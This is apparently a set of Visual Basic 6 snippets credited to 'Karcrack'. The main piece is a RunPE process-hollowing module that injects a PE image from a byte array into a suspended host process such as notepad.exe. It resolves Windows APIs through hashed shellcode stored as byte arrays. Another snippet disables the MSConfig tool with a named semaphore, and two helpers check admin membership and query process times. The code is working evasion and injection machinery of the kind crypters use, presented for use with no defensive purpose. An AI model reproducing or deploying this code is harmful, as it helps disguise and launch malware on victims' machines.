'KERNEL32
Private Declare Function CreateSemaphoreW Lib "KERNEL32" (ByVal lpSemaphoreAttributes As Long, ByVal lInitialCount As Long, ByVal lMaximumCount As Long, ByVal lpName As Long) As Long
 
'---------------------------------------------------------------------------------------
' Procedure : DisableMsConfig
' Author    : Karcrack
' Date      : 12/08/2010
'---------------------------------------------------------------------------------------
'
Public Function DisableMsConfig() As Boolean
    Call CreateSemaphoreW(0, 0, 1, StrPtr("MSConfigRunning"))
    DisableMsConfig = (Err.LastDllError = 0)
End Function

'ADVAPI32
Private Declare Function CheckTokenMembership Lib "ADVAPI32" (ByVal TokenHandle As Long, ByVal pSidToCheck As Long, ByRef IsMember As Boolean) As Long
 
'---------------------------------------------------------------------------------------
' Procedure : IsUserAnAdmin
' Author    : Karcrack
' Date      : 300710
' Purpose   : Check wether the user is in the Administrator Group
' TestedOn  : Windows XP SP3
'---------------------------------------------------------------------------------------
'
Private Function IsUserAnAdmin() As Boolean
    Dim SID(1)  As Currency
    'Hardcoded SID
    SID(0) = 36028797018964.0193@: SID(1) = 233646220.9056@
    Call CheckTokenMembership(0, VarPtr(SID(0)), IsUserAnAdmin)
End Function

http://cobein.com/wp/?p=559

Option Explicit
 
Public Type KERNEL_USER_TIMES
    liCreateTime            As Currency 'LARGE_INTEGER
    liExitTime              As Currency 'LARGE_INTEGER
    liKernelTime            As Currency 'LARGE_INTEGER
    liUserTime              As Currency 'LARGE_INTEGER
End Type
 
'NTDLL
Private Declare Function NtQueryInformationProcess Lib "NTDLL" (ByVal ProcessHandle As Long, ByVal ProcessInformationClass As Long, ByVal ProcessInformation As Long, ByVal ProcessInformationLength As Long, ReturnLength As Long) As Long
 
Private Const ProcessTimes  As Long = &H4
Public Const CurrentProcess As Long = -1
 
'---------------------------------------------------------------------------------------
' Procedure : GetProcessTimes
' Author    : Karcrack
' Date      : 290710
' Purpose   : Get some Process Time Info... like when it was created...
'---------------------------------------------------------------------------------------
'
Public Function GetProcessTimes(ByVal hProc As Long) As KERNEL_USER_TIMES
    Call NtQueryInformationProcess(hProc, ProcessTimes, VarPtr(GetProcessTimes), &H20, ByVal 0&)
End Function

Option Explicit
Option Base 0
'---------------------------------------------------------------------------------------
' Module    : mCopyMemoryASM
' Author    : Karcrack
' Date      : 280710
' Purpose   : A kewl RtlMoveMemory/CopyMemory replacement using ASM :)
'---------------------------------------------------------------------------------------
 
'USER32
Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCodePointer As Long, Optional ByVal l1 As Long, Optional ByVal l2 As Long, Optional ByVal l3 As Long, Optional ByVal l4 As Long) As Long
 
Private bvCode(20)      As Byte
'{
'    PUSH ESI
'    PUSH EDI
'    MOV EDI,DWORD PTR SS:[ESP+C]
'    MOV ESI,DWORD PTR SS:[ESP+10]
'    MOV ECX,DWORD PTR SS:[ESP+14]
'    REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
'    POP EDI
'    POP ESI
'    RETN 10
'}
Private bInitialized    As Boolean
 
Public Function ASM_Initialize() As Boolean
    On Error GoTo Initialize_Error
    Dim i               As Long
 
    For i = 0 To 20
        bvCode(i) = CByte(Choose(i + 1, &H56, &H57, &H8B, &H7C, &H24, &HC, &H8B, &H74, &H24, &H10, &H8B, &H4C, &H24, &H14, &HF3, &HA4, &H5F, &H5E, &HC2, &H10, &H0))
    Next i
 
    bInitialized = True
    ASM_Initialize = True
 
    On Error GoTo 0
    Exit Function
Initialize_Error:
    ASM_Initialize = False
End Function
 
Public Sub ASM_CopyMemory(ByVal Source As Long, ByVal Destination As Long, ByVal Length As Long)
    If bInitialized = True Then
        Call CallWindowProcW(VarPtr(bvCode(0)), Destination, Source, Length)
    End If
End Sub
 
'PutMem4 Wrapper
Public Sub ASM_PutMem4(ByVal lLong As Long, ByVal Destination As Long)
    Call ASM_CopyMemory(VarPtr(lLong), Destination, &H4)
End Sub
 
'GetMem4 Wrapper
Public Function ASM_GetMem4(ByVal Source As Long) As Long
    Call ASM_CopyMemory(Source, VarPtr(ASM_GetMem4), &H4)
End Function

Private Sub Form_Load()
    Dim x       As Long
    Dim y       As Long
    Dim i       As String
    Dim n       As String
 
    If ASM_Initialize = True Then
        x = &H1337
        Call ASM_CopyMemory(VarPtr(x), VarPtr(y), &H4)
        Debug.Print Hex$(x), Hex$(y)
        y = 0
        Call ASM_PutMem4(x, VarPtr(y))
        Debug.Print Hex$(ASM_GetMem4(VarPtr(x)))
        Debug.Print Hex$(x), Hex$(y)
        i = "KARCRACK_ES_GUAY!!!!!!!"
        n = Space$(Len(i))
        Call ASM_CopyMemory(StrPtr(i), StrPtr(n), LenB(i))
        Debug.Print i
        Debug.Print n
    End If
End Sub

Option Explicit
Option Base 0
 
'---------------------------------------------------------------------------------------
' Module    : kRunPe
' Author    : Karcrack
' Date      : 230710
' Purpose   : Shortest way to Run PE from ByteArray
'---------------------------------------------------------------------------------------
 
Private Type DWORD_L
    D1                          As Long
End Type
 
Private Type DWORD_B
    B1      As Byte:    B2      As Byte
    B3      As Byte:    B4      As Byte
End Type
 
'USER32
Private Declare Function CallWindowProcW Lib "USER32" (ByVal lpCode As Long, Optional ByVal lParam1 As Long, Optional ByVal lParam2 As Long, Optional ByVal lParam3 As Long, Optional ByVal lParam4 As Long) As Long
 
Private bInitialized_Inv        As Boolean
Private ASM_gAPIPTR(170)        As Byte
Private ASM_cCODE(255)          As Byte
 
Private Const KERNEL32          As String = "KERNEL32"
Private Const NTDLL             As String = "NTDLL"
 
Public Function RunPE(ByRef bvBuff() As Byte, ByVal sHost As String, Optional ByVal sParams As String, Optional ByRef hProcess As Long) As Boolean
    Dim hModuleBase             As Long
    Dim hPE                     As Long
    Dim hSec                    As Long
    Dim ImageBase               As Long
    Dim i                       As Long
    Dim tSTARTUPINFO(16)        As Long
    Dim tPROCESS_INFORMATION(3) As Long
    Dim tCONTEXT(50)            As Long
 
    hModuleBase = VarPtr(bvBuff(0))
 
    If Not GetNumb(hModuleBase, 2) = &H5A4D Then Exit Function
 
    hPE = hModuleBase + GetNumb(hModuleBase + &H3C)
 
    If Not GetNumb(hPE) = &H4550 Then Exit Function
 
    ImageBase = GetNumb(hPE + &H34)
 
    tSTARTUPINFO(0) = &H44
    'CreateProcessW@KERNEL32
    Call Invoke(KERNEL32, &H16B3FE88, StrPtr(sHost), StrPtr(sParams), 0, 0, 0, &H4, 0, 0, VarPtr(tSTARTUPINFO(0)), VarPtr(tPROCESS_INFORMATION(0)))
    'NtUnmapViewOfSection@NTDLL
    Call Invoke(NTDLL, &HF21037D0, tPROCESS_INFORMATION(0), ImageBase)
    'NtAllocateVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HD33BCABD, tPROCESS_INFORMATION(0), VarPtr(ImageBase), 0, VarPtr(GetNumb(hPE + &H50)), &H3000, &H40)
    'NtWriteVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase, VarPtr(bvBuff(0)), GetNumb(hPE + &H54), 0)
 
    For i = 0 To GetNumb(hPE + &H6, 2) - 1
        hSec = hPE + &HF8 + (&H28 * i)
 
        'NtWriteVirtualMemory@NTDLL
        Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), ImageBase + GetNumb(hSec + &HC), hModuleBase + GetNumb(hSec + &H14), GetNumb(hSec + &H10), 0)
    Next i
 
    tCONTEXT(0) = &H10007
    'NtGetContextThread@NTDLL
    Call Invoke(NTDLL, &HE935E393, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0)))
    'NtWriteVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HC5108CC2, tPROCESS_INFORMATION(0), tCONTEXT(41) + &H8, VarPtr(ImageBase), &H4, 0)
 
    tCONTEXT(44) = ImageBase + GetNumb(hPE + &H28)
 
    'NtSetContextThread@NTDLL
    Call Invoke(NTDLL, &H6935E395, tPROCESS_INFORMATION(1), VarPtr(tCONTEXT(0)))
    'NtResumeThread@NTDLL
    Call Invoke(NTDLL, &HC54A46C8, tPROCESS_INFORMATION(1), 0)
 
    hProcess = tPROCESS_INFORMATION(0)
    RunPE = True
End Function
 
Private Function GetNumb(ByVal lPtr As Long, Optional ByVal lSize As Long = &H4) As Long
    'NtWriteVirtualMemory@NTDLL
    Call Invoke(NTDLL, &HC5108CC2, -1, VarPtr(GetNumb), lPtr, lSize, 0)
End Function
 
Public Function Invoke(ByVal sDLL As String, ByVal hHash As Long, ParamArray vParams() As Variant) As Long
    Dim vItem                   As Variant
    Dim bsTmp                   As DWORD_B
    Dim lAPI                    As Long
    Dim i                       As Long
    Dim w                       As Long
 
    If Not bInitialized_Inv Then
        For i = 0 To 170
            ASM_gAPIPTR(i) = CByte(Choose(i + 1, &HE8, &H22, &H0, &H0, &H0, &H68, &HA4, &H4E, &HE, &HEC, &H50, &HE8, &H43, &H0, &H0, &H0, &H83, &HC4, &H8, &HFF, &H74, &H24, &H4, &HFF, &HD0, &HFF, &H74, &H24, &H8, &H50, &HE8, &H30, &H0, &H0, &H0, &H83, &HC4, &H8, &HC3, &H56, &H55, &H31, &HC0, &H64, &H8B, &H70, &H30, &H8B, &H76, &HC, &H8B, &H76, &H1C, &H8B, &H6E, &H8, &H8B, &H7E, &H20, &H8B, &H36, &H38, &H47, &H18, &H75, &HF3, &H80, &H3F, &H6B, &H74, &H7, &H80, &H3F, &H4B, &H74, &H2, &HEB, &HE7, &H89, &HE8, &H5D, &H5E, &HC3, &H55, &H52, &H51, _
                            &H53, &H56, &H57, &H8B, &H6C, &H24, &H1C, &H85, &HED, &H74, &H43, &H8B, &H45, &H3C, &H8B, &H54, &H5, &H78, &H1, &HEA, &H8B, &H4A, &H18, &H8B, &H5A, &H20, &H1, &HEB, &HE3, &H30, &H49, &H8B, &H34, &H8B, &H1, &HEE, &H31, &HFF, &H31, &HC0, &HFC, &HAC, &H84, &HC0, &H74, &H7, &HC1, &HCF, &HD, &H1, &HC7, &HEB, &HF4, &H3B, &H7C, &H24, &H20, &H75, &HE1, &H8B, &H5A, &H24, &H1, &HEB, &H66, &H8B, &HC, &H4B, &H8B, &H5A, &H1C, &H1, &HEB, &H8B, &H4, &H8B, &H1, &HE8, &H5F, &H5E, &H5B, &H59, &H5A, &H5D, &HC3))
        Next i
        i = 0
        bInitialized_Inv = True
    End If
 
    lAPI = CallWindowProcW(VarPtr(ASM_gAPIPTR(0)), StrPtr(sDLL), hHash)
 
    If lAPI Then
        For w = UBound(vParams) To LBound(vParams) Step -1
            bsTmp = SliceLong(CLng(vParams(w)))
            '// PUSH ADDR
            Call PutByte(&H68, i)
            Call PutByte(bsTmp.B1, i):  Call PutByte(bsTmp.B2, i)
            Call PutByte(bsTmp.B3, i):  Call PutByte(bsTmp.B4, i)
        Next w
 
        bsTmp = SliceLong(lAPI)
        '// MOV EAX, ADDR
        Call PutByte(&HB8, i)
        Call PutByte(bsTmp.B1, i):  Call PutByte(bsTmp.B2, i)
        Call PutByte(bsTmp.B3, i):  Call PutByte(bsTmp.B4, i)
        '// CALL EAX
        Call PutByte(&HFF, i):      Call PutByte(&HD0, i)
        '// RET
        Call PutByte(&HC3, i)
 
        Invoke = CallWindowProcW(VarPtr(ASM_cCODE(0)))
    End If
End Function
 
Private Sub PutByte(ByVal bByte As Byte, ByRef iCounter As Long)
    ASM_cCODE(iCounter) = bByte
    iCounter = iCounter + 1
End Sub
 
Private Function SliceLong(ByVal lLong As Long) As DWORD_B
    Dim tL                      As DWORD_L
 
    tL.D1 = lLong
    LSet SliceLong = tL
End Function

    Dim x()     As Byte
    Open Environ$("WINDIR") & "\SYSTEM32\calc.exe" For Binary As #1
        ReDim x(0 To LOF(1) - 1)
        Get #1, , x
    Close #1
    Call RunPE(x, Environ$("WINDIR") & "\SYSTEM32\notepad.exe")